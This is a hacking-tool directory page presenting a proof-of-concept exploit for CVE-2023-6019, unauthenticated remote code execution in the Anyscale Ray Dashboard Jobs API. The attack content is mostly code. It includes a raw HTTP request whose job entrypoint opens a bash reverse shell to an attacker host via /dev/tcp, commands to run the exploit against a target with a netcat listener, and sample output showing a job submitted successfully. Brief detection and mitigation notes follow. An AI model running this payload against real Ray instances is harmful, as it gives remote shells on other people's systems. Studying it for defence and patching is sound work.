Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-6019 — PoC exploit for CVE-2023-6019 targeting unauthenticated Remote Code Execution in Anyscale Ray Dashboard via the Jobs API. Delivers a reverse shell on vulnerable Ray instances (< 2.6.4). | Kitploit
Tools/GitHubGitHub/joaquinrrr/cve-2023-6019
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHubjoaquinrrr/cve-2023-6019

CVE-2023-6019

PoC exploit for CVE-2023-6019 targeting unauthenticated Remote Code Execution in Anyscale Ray Dashboard via the Jobs API. Delivers a reverse shell on vulnerable Ray instances (< 2.6.4).

View Repository
6112 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-6019 - Anyscale Ray Dashboard Unauthenticated RCE

PoC exploit for CVE-2023-6019 — Remote Code Execution via unauthenticated Ray Dashboard Jobs API.
Made by oguiii


Description

Anyscale Ray is an open-source framework for distributed ML/AI workloads. Versions prior to 2.6.4 expose a Jobs submission API through the Ray Dashboard (default port 8265) without any authentication, allowing an unauthenticated attacker to submit arbitrary jobs and achieve Remote Code Execution on the host.

  • CVE: CVE-2023-6019
  • Severity: Critical (CVSS 9.8)
  • Affected versions: Ray < 2.6.4
  • Fixed in: Ray 2.6.4
  • Attack vector: Network (unauthenticated HTTP request)

How it works

The /api/jobs/ endpoint accepts a JSON payload with an entrypoint field that gets executed as a shell command by the Ray worker process - no credentials required.

root@kitploit:~
POST /api/jobs/ HTTP/1.1
Host: <target>:8265
Content-Type: application/json

{
  "entrypoint": "bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'",
  "runtime_env": {},
  "job_id": null,
  "metadata": {}
}

Usage

root@kitploit:~
git clone https://github.com/joaquinrrr/CVE-2023-6019
cd CVE-2023-6019
pip install requests
python3 CVE-2023-6019.py -t <TARGET_IP> -p <PORT> -l <LHOST> -lp <LPORT>

Arguments

FlagDescriptionDefault
-tTarget IP or hostnamerequired
-pRay Dashboard port8265
-lAttacker IP (reverse shell)required
-lpAttacker port (reverse shell)required

Example

root@kitploit:~
# Start listener
nc -lvnp 4444

# Run exploit
python3 CVE-2023-6019.py -t 192.168.1.100 -p 8265 -l 192.168.1.10 -lp 4444

Expected output

root@kitploit:~
[*] Checking Ray version at 192.168.1.100:8265...
[*] Ray API version : 4
[*] Ray version     : 2.6.3
[+] VULNERABLE! Ray 2.6.3 is affected by CVE-2023-6019

[*] Target        : http://192.168.1.100:8265/api/jobs/
[*] Reverse shell : 192.168.1.10:4444
[*] Submitting job...

[+] Job submitted successfully!
[+] Job ID: raysubmit_Gztg89LZuTa8Jevc

[>] Make sure your listener is ready:
    nc -lvnp 4444

Detection

Look for unexpected POST requests to /api/jobs/ on port 8265 in your HTTP logs or network traffic.


Mitigation

  • Upgrade to Ray >= 2.6.4
  • Restrict access to the Ray Dashboard port (8265) via firewall rules
  • Do not expose Ray Dashboard to public networks

References

  • https://nvd.nist.gov/vuln/detail/CVE-2023-6019
  • https://www.anyscale.com/
  • https://github.com/ray-project/ray

Disclaimer

This tool is intended for authorized penetration testing and educational purposes only.
The author is not responsible for any misuse or damage caused by this tool.
Always obtain proper written authorization before testing.

Download Tool